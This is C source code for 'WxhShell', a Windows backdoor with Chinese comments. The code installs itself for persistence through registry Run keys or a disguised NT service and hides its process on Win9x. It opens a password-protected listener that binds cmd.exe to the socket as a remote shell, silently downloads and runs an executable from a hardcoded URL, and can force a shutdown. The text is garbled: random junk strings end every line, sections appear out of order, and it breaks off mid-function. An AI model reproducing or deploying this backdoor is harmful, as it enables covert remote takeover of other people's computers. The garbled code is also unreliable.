    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2w.9Q (Sn  
    if(Boot(SHUTDOWN)) y^+[eT&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9W,}A Wf:Y  
    else { 8aIf{(/k  
    closesocket(wsh); 0m| Gp  
    ExitThread(0); xuH<=-O>ki  
    } gQcr'[[a  
    break; Qak@~b  
    } E'kQ  
  // 获取shell z$im4'\c  
  case 's': { u=UM^C!  
    CmdShell(wsh); KzH}5:qI  
    closesocket(wsh); RX<^MzCDV  
    ExitThread(0); JNz"lTt>[g  
    break; {II7%\ya  
  } YF[!Hpzq  
  // 退出 b<H6 D}  
  case 'x': { jU9zCMyNF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }_D5, k  
    CloseIt(wsh); Iy 8E$B;  
    break; b-=[(]_$h  
    } 0 Vgn N  
  // 离开 jKi*3-&  
  case 'q': { T4, Zc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ,IvnNnl2  
    closesocket(wsh); B7jlJqV  
    WSACleanup(); |&pz,"(  
    exit(1); QbKYB  
    break; aw@Aoq  
        } 'krMVC-  
  } an5kR_=  
  } ,/?V+3l  
aFm]?75  
  // 提示信息 d4eCBqx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rL+n$p X-  
} n^(yW  
  } gm8Tm$fY  
 $.]t1e7s  
  return; ,,j=RG_  
} D/6@bcCSY  
m_U6"\n 5  
// shell模块句柄 z=h5  
int CmdShell(SOCKET sock) .aH?H]^  
{ }Knq9cf  
STARTUPINFO si; (uxQBy  
ZeroMemory(&si,sizeof(si)); v{*X@)$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _G*x:<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3g "xm  
PROCESS_INFORMATION ProcessInfo; - 5Wt9  
char cmdline[]="cmd"; i&G`ah>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EG8R*Cm,}  
  return 0; JfINAaboi  
} 4J$f @6  
>-o:> 5  
// 自身启动模式 cz~FWk  
int StartFromService(void) !?M_%fNE  
{ M&T/vByTn_  
typedef struct d/zX%  
{ uR @Wv^  
  DWORD ExitStatus; Zdg{{|mm  
  DWORD PebBaseAddress; : MmXH&yR  
  DWORD AffinityMask; C>;8`6_!gU  
  DWORD BasePriority; p. ~jo  
  ULONG UniqueProcessId; # i=^WN<V  
  ULONG InheritedFromUniqueProcessId; $I]x &cF  
}   PROCESS_BASIC_INFORMATION; 8GZjIW*0oq  
bh"v{V`=0  
PROCNTQSIP NtQueryInformationProcess; D&d:>.~u  
snNg:rT L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U)1qsUDF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~u& O  
$i] M6<Vxn  
  HANDLE             hProcess; 1mPS)X_  
  PROCESS_BASIC_INFORMATION pbi; Q+M3Pqy  
w% -!dbmb%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EUS]Se2  
  if(NULL == hInst ) return 0; Y9ce"*b  
sO-R+G/^7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >-+X;0&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ur[bh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }4MG114j  
P(+ar#,G  
  if (!NtQueryInformationProcess) return 0; pr89zkYw  
hs uJ;4}$q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `7n,(  
  if(!hProcess) return 0; `8bp6}OD,  
= gyK*F(RK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5h7DVr!  
bu5)~|?{t  
  CloseHandle(hProcess); Rp9iX~A`e  
S60`'!y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sgsMlZ3/  
if(hProcess==NULL) return 0; <W^~Y31:0  
K ePHn:c  
HMODULE hMod; 0].5[Jo  
char procName[255]; 8+|Lph`/?  
unsigned long cbNeeded; UzwIV{  
 )U`kU`+'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tj+WO6#V  
5X-{|r3q  
  CloseHandle(hProcess); !]T|=yw  
'(>N gd[  
if(strstr(procName,"services")) return 1; // 以服务启动 ?`}U|]c  
t\0JNi$2  
  return 0; // 注册表启动 m_f^#:  
} hlEvL  
5Ozj&Zq  
// 主模块 86VuPV-  
int StartWxhshell(LPSTR lpCmdLine) B ~GyS"  
{ C@W0fz  
  SOCKET wsl; 5toNEDN  
BOOL val=TRUE; 46`{mPd{aO  
  int port=0; a]ey..m  
  struct sockaddr_in door; T^>cT"ux_  
jGPs!64f)  
  if(wscfg.ws_autoins) Install(); nTlrG6  
/UAj]U  
port=atoi(lpCmdLine); ^jA^~h3(W  
PxY"{-iAM  
if(port<=0) port=wscfg.ws_port; `8Ix&d3F  
~!u94_:  
  WSADATA data; ^PszZ10T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hc!_o`[{l  
]7@Dqd-/S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )[.URp&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |zlwPi.  
  door.sin_family = AF_INET; 7.-|3Wcg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CeemR>\t  
  door.sin_port = htons(port); ibL;99#  
T]k@g_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ``D-pnKK  
closesocket(wsl); tzPe*|m<  
return 1; Hqv(X=6E0  
} ]F! ,Jx  
}=5(*Vg  
  if(listen(wsl,2) == INVALID_SOCKET) { J{I?t~u  
closesocket(wsl); wDzS<mm  
return 1; s3S73fNOk  
} LdV_7)  
  Wxhshell(wsl); <jjaqDSmz  
  WSACleanup(); K;O\Pd  
ps [rYy  
return 0; T8k oP  
&[xJfL  
}  VPzdT*g]  
ZgtOy|?|  
// 以NT服务方式启动 wu3ZSLY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >d |W>|8e  
{ K+H82$ #  
DWORD   status = 0; &40d J~SQ  
  DWORD   specificError = 0xfffffff; ,0O!w>u_]J  
lU3wIB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u5,<.#EVY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JM0)x}] +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F u)7J4Z  
  serviceStatus.dwWin32ExitCode     = 0; ) Lv{  
  serviceStatus.dwServiceSpecificExitCode = 0; iFnM6O$(  
  serviceStatus.dwCheckPoint       = 0; hw1s^:|+2  
  serviceStatus.dwWaitHint       = 0; 8[ V!e[  
qm_\#r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +=v|kd  
  if (hServiceStatusHandle==0) return; A2 r RYzN;  
B _ >|Mo/  
status = GetLastError(); mJHX  
  if (status!=NO_ERROR) ]b)(=-;>  
{ B Xp3u|t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J2-xnUa]7  
    serviceStatus.dwCheckPoint       = 0; 8vCHH&`  
    serviceStatus.dwWaitHint       = 0; ;#*mB`  
    serviceStatus.dwWin32ExitCode     = status; 7Uh}|6PU  
    serviceStatus.dwServiceSpecificExitCode = specificError; i "xq SLf=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O`4X[r1LD  
    return; 6gn|WO=W f  
  } mvnK)R_  
x.aUuC,$x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n=~?BxB  
  serviceStatus.dwCheckPoint       = 0; l"64w>,  
  serviceStatus.dwWaitHint       = 0; #i? TCO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p O.8>C%  
} ;6Z?O_zp4  
SJfsFi?n  
// 处理NT服务事件,比如:启动、停止 -M:.D3,L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -Q/Dbz#-  
{ ; 1WclQ!(  
switch(fdwControl) vv3?ewr y  
{ G.;<?W  
case SERVICE_CONTROL_STOP: 6_7d1.wv9  
  serviceStatus.dwWin32ExitCode = 0; Ek:u[Uw\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /V^S)5r  
  serviceStatus.dwCheckPoint   = 0; *)Y;`Yg$  
  serviceStatus.dwWaitHint     = 0; }[|"db  
  { B dSTB"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p<YO3@B+  
  } ck;owGl T  
  return; 3N-(`[m{E  
case SERVICE_CONTROL_PAUSE: 6 J#C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yq2Bz7P  
  break; Nt)9- \T  
case SERVICE_CONTROL_CONTINUE: D6D*RTi4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Rpj&0Is  
  break; m@~HHwj  
case SERVICE_CONTROL_INTERROGATE: IkupW|}rc  
  break; x&sF_<[  
}; ({)_[dJ'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q /#O :Q  
} $O[ut.   
( %bfNs|  
// 标准应用程序主函数 RZ -w,~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0kDT:3  
{ S5;q)qz2J  
db`<E <  
// 获取操作系统版本 K_xn>  
OsIsNt=GetOsVer(); CZ @M~Si_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $>+-=XMVB  
kG{(Qi  
  // 从命令行安装 kb>9;-%^JK  
  if(strpbrk(lpCmdLine,"iI")) Install(); *op7:o_  
v / a/  
  // 下载执行文件 |Q$C%7  
if(wscfg.ws_downexe) { 0GB6.Ggft  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $*tuv ?  
  WinExec(wscfg.ws_filenam,SW_HIDE); %j'lWwi  
} #ws6z`mt  
REa%kU  
if(!OsIsNt) { 79&Mc,69  
// 如果时win9x,隐藏进程并且设置为注册表启动 q.*qZ\;K  
HideProc(); \]^|IViIQ  
StartWxhshell(lpCmdLine); ,y^By_1wS  
} ,5q^/h  
else t ;[Me0  
  if(StartFromService()) t.m $|M>  
  // 以服务方式启动 ivt\| >  
  StartServiceCtrlDispatcher(DispatchTable); Bk8U\Ut  
else *H;&hq  
  // 普通方式启动 SN11J+  
  StartWxhshell(lpCmdLine); lcih [M6z  
 /8.;  
return 0; ;$nK ^  
} r/PsFv{8  
H94$Xi"Bd  
9[:nW p^  
/wmJMX  
=========================================== 9t=erhUr  
n32?GRp  
4*'NpqC(_  
H~ (I  
" <=^Sm  
A:N!H_x  
" S6cSeRmw  
I@.qon2V  
#include <stdio.h> KExfa4W 3{  
#include <string.h> jJ9|  
#include <windows.h> ow+NT  
#include <winsock2.h> 1W5YS +pf  
#include <winsvc.h> cZ5[A  T  
#include <urlmon.h> j&8U:Q,  
B^eea[  
#pragma comment (lib, "Ws2_32.lib") +1e*>jE  
#pragma comment (lib, "urlmon.lib") g-6!+>w*>e  
2-2'c?%  
#define MAX_USER   100 // 最大客户端连接数 -O2Qz zE&  
#define BUF_SOCK   200 // sock buffer yp8 .\.  
#define KEY_BUFF   255 // 输入 buffer cLamqZf3  
MECR0S9  
#define REBOOT     0   // 重启 aX0sy\Z]j  
#define SHUTDOWN   1   // 关机 ^E>}A  
O#9Q+BD  
#define DEF_PORT   5000 // 监听端口 h4sEH  
 xU)~)eK  
#define REG_LEN     16   // 注册表键长度 P||u{]vU  
#define SVC_LEN     80   // NT服务名长度 brZ3T`p+.P  
9;.dNdg>  
// 从dll定义API Ey)ox$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !m78/[LW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k~Gjfo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WMrK8e'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 28zt.9  
d d8^V_Kx  
// wxhshell配置信息 5C/u`{4]Hg  
struct WSCFG { F*} b),  
  int ws_port;         // 监听端口 |Y:T3hra61  
  char ws_passstr[REG_LEN]; // 口令 InRn!~_N  
  int ws_autoins;       // 安装标记, 1=yes 0=no yl|+D]  
  char ws_regname[REG_LEN]; // 注册表键名 2f F)I&  
  char ws_svcname[REG_LEN]; // 服务名 )-[X^l j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *,mbZE=<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u{8Wu;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aRfkJPPa[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r/8,4:rh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t'~:me!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B,}%1+*  
{?,:M  
}; 9'O<d/xj/  
J0^p\mG  
// default Wxhshell configuration vw3%u+Z&  
struct WSCFG wscfg={DEF_PORT, B f[D&O  
    "xuhuanlingzhe", GMd81@7  
    1, #~nI^ ggW  
    "Wxhshell", Ro?yCy:L'  
    "Wxhshell", 0p! [&O  
            "WxhShell Service", IgZX,4i=o  
    "Wrsky Windows CmdShell Service", |qfnbi-\  
    "Please Input Your Password: ", D`iWf3a.  
  1, 7M5HIK6_  
  "http://www.wrsky.com/wxhshell.exe", T7&itgEYG/  
  "Wxhshell.exe" <4^a (Zh  
    }; @ -g^R4e<  
*j8w" 4  
// 消息定义模块 &:w{[H$-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :'#B U:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nbhx2@Teqe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % kKtPrT  
char *msg_ws_ext="\n\rExit."; 9NKZE?5P|D  
char *msg_ws_end="\n\rQuit."; HH8a"Hq)  
char *msg_ws_boot="\n\rReboot..."; _/7[=e}y  
char *msg_ws_poff="\n\rShutdown..."; bMf +/n  
char *msg_ws_down="\n\rSave to "; R~)c(jj5  
 k:R9wo  
char *msg_ws_err="\n\rErr!"; RQv`D&u_  
char *msg_ws_ok="\n\rOK!"; ykM(` 1` m  
W>'R<IY4#N  
char ExeFile[MAX_PATH]; s|YY i~  
int nUser = 0; R>#T {<<L  
HANDLE handles[MAX_USER]; t:$p8qR  
int OsIsNt; @~/LsYA:  
1,BtOzuRo  
SERVICE_STATUS       serviceStatus; 7vgz=- MZ#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {U7j  
X2Y-TE T  
// 函数声明 X=_N7!  
int Install(void); ;\( wJ{u?Y  
int Uninstall(void); \Ui8Sgeei  
int DownloadFile(char *sURL, SOCKET wsh); v:<u0B-)$  
int Boot(int flag); fytgS(?I'  
void HideProc(void); (~,Q-w"  
int GetOsVer(void); D6c4tA^EO  
int Wxhshell(SOCKET wsl); 7RTp+FC]  
void TalkWithClient(void *cs); dAohj QH:  
int CmdShell(SOCKET sock); d(42ob.Tr  
int StartFromService(void); O" n/.`  
int StartWxhshell(LPSTR lpCmdLine); P#"vlNa  
Qq^>7OU>Co  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m`E8gVC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]@>bz  
]`]m41+w  
// 数据结构和表定义 cD]{ Nn  
SERVICE_TABLE_ENTRY DispatchTable[] = `[/BG)4  
{ "?n~ /9`  
{wscfg.ws_svcname, NTServiceMain}, hZ5h(CQ?"#  
{NULL, NULL} Bu*ge~  
}; Fp|x,-  
i$"B  
// 自我安装 FtT+Q$q=  
int Install(void) (Kv[~W7lb  
{ cqi: Rj  
  char svExeFile[MAX_PATH]; $nBzYRc"3  
  HKEY key; M*{ EK  
  strcpy(svExeFile,ExeFile); 1/JgirVA  
og!Uq]U/y  
// 如果是win9x系统,修改注册表设为自启动 \"5%w *vl  
if(!OsIsNt) { _D[vMr[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {BDp`uZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #2{ };)  
  RegCloseKey(key); T'0Ot3m`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "~N#Jqzr:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @va)j   
  RegCloseKey(key); x}].lTjD  
  return 0; q/<.^X  
    } hyVuZ\9B  
  } f4CwyL6ur  
} 'C!b($Y  
else { 2Pasmh  
?RA^Y N*9  
// 如果是NT以上系统,安装为系统服务 Azq,N@HO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ; Rt?&&W  
if (schSCManager!=0) )!e-5O49r  
{ 2Cj?k.Zk  
  SC_HANDLE schService = CreateService 6*{N{]`WZ)  
  ( %dKUB4  
  schSCManager, ,=R->~ J  
  wscfg.ws_svcname, % )?$82=2  
  wscfg.ws_svcdisp, VLkK6W.u  
  SERVICE_ALL_ACCESS, 6ZR'1_i6i=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +wgNuj0=*  
  SERVICE_AUTO_START, gBf %9F  
  SERVICE_ERROR_NORMAL, {{SeD:hx  
  svExeFile, l%rwJLN1  
  NULL, /t(dhz&xN  
  NULL,  5!NK  
  NULL, y`!3Z} 7  
  NULL, f'TdYG  
  NULL =uIu0_v  
  ); 7.hn@_  
  if (schService!=0) zgJ%Zr!~  
  { cc Z A  
  CloseServiceHandle(schService); t%/Y^N;  
  CloseServiceHandle(schSCManager); Y*dzoN.sW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v](7c2;  
  strcat(svExeFile,wscfg.ws_svcname); hF.9\X]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yhb=^)@))  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YJ_LD6PL9  
  RegCloseKey(key); "fL:scq@0  
  return 0; th2a'y=0  
    } ZH~T'Bg  
  } *U)!9DvA  
  CloseServiceHandle(schSCManager); h7wm xa;  
} v;80RjPy>  
} /~K-0K#w  
Wm7Dy7#l  
return 1; &w- QMj M>  
} uF+if`?  
gV9 1=Pj  
// 自我卸载 C;y3?+6P$  
int Uninstall(void) O)kC[e4  
{ kViX FPW  
  HKEY key; u0Fu_Rtr  
1aS[e%9Mg  
if(!OsIsNt) { [2a*TI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZYos.ay  
  RegDeleteValue(key,wscfg.ws_regname); "Rf8#\Y/<  
  RegCloseKey(key); YrS%Yvhj0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0-oR { {  
  RegDeleteValue(key,wscfg.ws_regname); f|cd_?|  
  RegCloseKey(key); .|NF8Fj  
  return 0; %J!+f-:=  
  } ,)@Q,EHN;  
} 3tMs61 3  
} hCQz D2  
else { KLGhsx35  
BHy#g>KUF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6HW<E~G'6  
if (schSCManager!=0) c8v+eyn  
{ 7q<I7Wt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P%]li`56-c  
  if (schService!=0)  !NUsfd  
  { Rf+ogLa=  
  if(DeleteService(schService)!=0) { %`t;5kmR  
  CloseServiceHandle(schService); @V Bv}Jo  
  CloseServiceHandle(schSCManager); ]!E|5=q  
  return 0; ^z-e"  
  } ZqsI\"bj  
  CloseServiceHandle(schService); CLg;  
  } @kK${  
  CloseServiceHandle(schSCManager); vd c k  
} k-@CcrepF  
} TPZZln'3   
,[7 1,zs  
return 1; ,a9<\bd)  
} (30{:o&^  
;;pxI5  
// 从指定url下载文件 kL 6f^MoL  
int DownloadFile(char *sURL, SOCKET wsh) oe}nrkmb  
{ a)$"   
  HRESULT hr; qPK3"fzH  
char seps[]= "/"; _%Sorr  
char *token; *-(J$4RNz  
char *file; n_Px=s!1p@  
char myURL[MAX_PATH]; >wS52ng  
char myFILE[MAX_PATH]; ~@S5*(&8  
( {ads_l  
strcpy(myURL,sURL); XO~xbG7>gZ  
  token=strtok(myURL,seps); gQ %'2m+  
  while(token!=NULL) I2hX;pk,  
  { "Sz pFw  
    file=token; ;aExEgTq  
  token=strtok(NULL,seps); lJP6s k  
  } aL$m  
e; 5 n.+m  
GetCurrentDirectory(MAX_PATH,myFILE); M:z)uLDw  
strcat(myFILE, "\\"); aT$q1!U`j2  
strcat(myFILE, file); * xdS<  
  send(wsh,myFILE,strlen(myFILE),0); 3<LG~HWST  
send(wsh,"...",3,0); IT5AB?bxH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6?b 9~xRW  
  if(hr==S_OK) X[\b!<C  
return 0; jbcJ\2  
else -h%;L5oJ2,  
return 1; 55 )!cw4  
<*E{z r&  
} a1R2ocC  
AmNmhcN  
// 系统电源模块 R ,-y  
int Boot(int flag) 9!zUv:;  
{ 2siUpmX  
  HANDLE hToken; Gnop  
  TOKEN_PRIVILEGES tkp; /.l8Jb4  
O'{UAb+-  
  if(OsIsNt) { =G2D4>q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S/Pffal  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c+c3C8s*8  
    tkp.PrivilegeCount = 1; <GC<uB |p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OiH tobM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1H`T=:P?  
if(flag==REBOOT) { 6*u#^">,<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t33/QW r  
  return 0; uF_gfjR[m  
} 'L4@|c~x  
else { 9`yG[OA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i,=greA]"  
  return 0; t$^1A1Ef  
} Z[<rz6%cB  
  } ,rVm81-2  
  else { gq~>S1  
if(flag==REBOOT) { r\Nf309~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H6X]D"Y,  
  return 0; 2j&-3W$^  
} e@"1W  
else { KSU?Tg&JR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6*9hAnH  
  return 0; % \p:S)R  
} ]CsF} wr'z  
} Z? u\  
=Bo(*%  
return 1; Cy-q9uTm  
} v*`$is+  
8gwJ%"-K  
// win9x进程隐藏模块 K-(k6<h  
void HideProc(void) ,6:ya8vB  
{ n=!]!'h\:  
flDe*F^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V1 T?T9m  
  if ( hKernel != NULL ) (1p[K-J)r  
  { <;< _f U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >U.TkB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nv}'"V>  
    FreeLibrary(hKernel); 6KC.l}Y*  
  } a<9gD,]P  
Q= IA|rN  
return; G&$+8 r  
} ]o`qI#{R~R  
~&B{"d  
// 获取操作系统版本 n:d]Z2b  
int GetOsVer(void) HEHTj,T  
{ IH8^ fyQ`  
  OSVERSIONINFO winfo; M7!>-P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %>B?WR\yE  
  GetVersionEx(&winfo); Hf!o6 o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hv2t_QjKT  
  return 1; T^.;yU_B?  
  else qD Z?iTHQq  
  return 0;  Ht| No  
} gjB36R  
# 12  
// 客户端句柄模块 nTxeV%  
int Wxhshell(SOCKET wsl)  *X- 6]C  
{ 0Ou;MU*v  
  SOCKET wsh; S\=j; Uem  
  struct sockaddr_in client; jq#gFt*  
  DWORD myID; PhL}V|W>  
aHx(~&hRcL  
  while(nUser<MAX_USER) 7ukJ\P5[&1  
{ .O! JI"?  
  int nSize=sizeof(client); (PAkKY}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4#Wczk-b  
  if(wsh==INVALID_SOCKET) return 1; .v;$sst5y  
>a7'_n_o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~Z-M?8:  
if(handles[nUser]==0) 0 Y[LzLn  
  closesocket(wsh); 4TcKs}z  
else &1)4B  
  nUser++; 1Q1NircJ  
  } ,>%2`Z)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1FCqkwq[  
mOji\qia  
  return 0; 6vp\~J  
} 'F>eieO  
"]h4L  
// 关闭 socket ` b a}6D  
void CloseIt(SOCKET wsh) |@#37  
{ [r,a0s  
closesocket(wsh); fa7Z=:a G  
nUser--; hbm%{*d  
ExitThread(0); L&V;Xvbu%  
} 70bI}/u  
d l_ h0  
// 客户端请求句柄 x_Zi^]  
void TalkWithClient(void *cs) NH&/=  
{ -U/"eVM  
Sc03vfmo"N  
  SOCKET wsh=(SOCKET)cs; }z{2~ 0,  
  char pwd[SVC_LEN]; U6^x(2De  
  char cmd[KEY_BUFF]; \HX'^t`  
char chr[1]; W" >[sn|  
int i,j; ^Xv_y+  
?blF6Kl$  
  while (nUser < MAX_USER) { $D{ KXkrd  
*Kj*|>)  
if(wscfg.ws_passstr) { c\"t+/Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a+A^njk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +oa\'.~?  
  //ZeroMemory(pwd,KEY_BUFF); ,#&\1Vxf  
      i=0; KwGk8$ U  
  while(i<SVC_LEN) { gB/4ro8  
f P'qUN  
  // 设置超时 #'5|$ug[  
  fd_set FdRead; So>P)d$8+  
  struct timeval TimeOut; a@( 4X/|  
  FD_ZERO(&FdRead); z}I=:  
  FD_SET(wsh,&FdRead); 9gNQ,c \gT  
  TimeOut.tv_sec=8; <vxj*M;  
  TimeOut.tv_usec=0; 7)&}riQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _'pow&w~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $n_'# m2LE  
O.61-rp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $HVus=D"  
  pwd=chr[0]; ~uqpF-.  
  if(chr[0]==0xd || chr[0]==0xa) { WAr;g?Q8  
  pwd=0; 69#mj*p@+  
  break; mS?.xu  
  } K@av32{  
  i++; Ln6\Iis  
    } G.v zz-yG  
K_/-mwA v  
  // 如果是非法用户,关闭 socket P$LHsg]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o,o,(sII  
} 9G njJ  
hP1}Do  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _$s ;QI]x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pxm{?eBz  
%`*`HU#X  
while(1) { 1Rrp#E}  
P<<?7_ ??  
  ZeroMemory(cmd,KEY_BUFF); lmmB=F  
>6fc` 3*!  
      // 自动支持客户端 telnet标准   }:JE*D|  
  j=0; \XDc{c]  
  while(j<KEY_BUFF) { Axb,{X[6g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ['9awgkr/  
  cmd[j]=chr[0]; Py^ _::  
  if(chr[0]==0xa || chr[0]==0xd) { k?(x}IZdG  
  cmd[j]=0; yCznRd}J  
  break; 5=< y%VF  
  } ) 0p9I0=  
  j++; h SGI  
    } ]O%wZIp\P  
PL+r*M%ll  
  // 下载文件 9A|deETa-  
  if(strstr(cmd,"http://")) { vo48\w7[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h#_KO-#.[  
  if(DownloadFile(cmd,wsh)) TNwBnMe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jUny&Alj  
  else &T7|f!y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Xwr*FTr  
  } i WCR 5c=  
  else { Q[g>ee  
w[`2t{^j  
